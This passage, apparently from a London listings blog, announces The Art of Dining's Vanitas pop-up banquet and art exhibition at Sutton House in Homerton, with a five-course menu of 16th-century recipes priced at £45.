the success of their last pop up Hackney-on-Sea, The Art of Dining are back with a banquet & art exhibition on the theme of Vanitas hosted in a 16th century Tudor house.

Chef Ellen Parr, formerly of Exmouth Market’s delicious Moro, combines her food creations with set designer Alice Hodge who does the decor, creating a theme running through the evening. On top of this, the Horsebox Gallery will be displaying their bespoke exhibitions too.

The next event called Vanitas, is themed as ‘still life art from the 15th and 16th century where collections of objects hold symbolic meanings about the transience of life, the futility of pleasure and the inevitability of death’. This may be the most pretentious night out you have this year.

Between 27th and 31st March, the temporary restaurant can be found at Sutton House, a National Trust property in Homerton, East London. Five courses of food includes 16th century recipes set out as a medieval banquet and all for only £45 each. After all this, Pizza Express will never be the same again.

Tues 27th March – Sat 31st March
